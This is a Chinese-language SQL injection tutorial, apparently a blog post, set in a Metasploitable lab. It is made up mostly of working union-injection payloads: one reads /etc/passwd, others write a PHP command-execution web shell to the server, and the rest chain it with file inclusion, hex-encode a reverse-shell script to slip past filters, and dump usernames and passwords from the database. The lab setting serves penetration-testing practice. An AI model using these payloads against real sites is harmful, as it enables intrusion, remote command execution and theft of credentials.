手动挖掘漏洞-SQL注入(二)

通过SQL注入读取文件、写入文件、保存下载数据库(拖库)

读取文件

这里以读取系统本地账号密码为例

1
' union select null, load_file('/etc/passwd') --

image


写入文件

工具burpsuite
image

往服务器端插入php一句话木马,INTO DUMPFILE:MySQL函数,将输入保存成文件下载至本地(服务器)

1
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --

很可惜,无法写入,原因是没有权限,现有的只有mysql的权限
image
一般来说,不同的服务都有其特定的用户账号,而账号都有其一定权限,而这些权限仅局限于自己服务的主目录下,没有权限向其他目录读些东西,
这里的/var/www/目录的权限是:

1
2
msfadmin@metasploitable:/var/www$ ls -ld
drwxr-xr-x 10 www-data www-data 4096 2012-05-20 15:31 .

所以这里我选择写入默认路径,

1
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "a.php" --

但是写入后,我们且会因没有权限而无法利用上传的脚本
image

当无权限进行指定目录写入文件时,可使用文件包含漏洞

这里我们可以把脚本到/temp目录,这个目录是linux的通用目录,可以读写,虽然还是没有执行权限

1
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --

写入之后,配合文件包含漏洞,命令执行
image

也可以上传一些shell脚本
image

选择反弹连接的shell,修改里面参数
image

因为服务器一般会有过滤机制,所以可以对shell进行编码再上传

1
root@kali:/test# cat shell.php | xxd -ps | tr -d "\n"

xxd -ps: 编码成16进制
tr -d “\n”: 删除换行符


保存下载数【拖库】

1
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--

image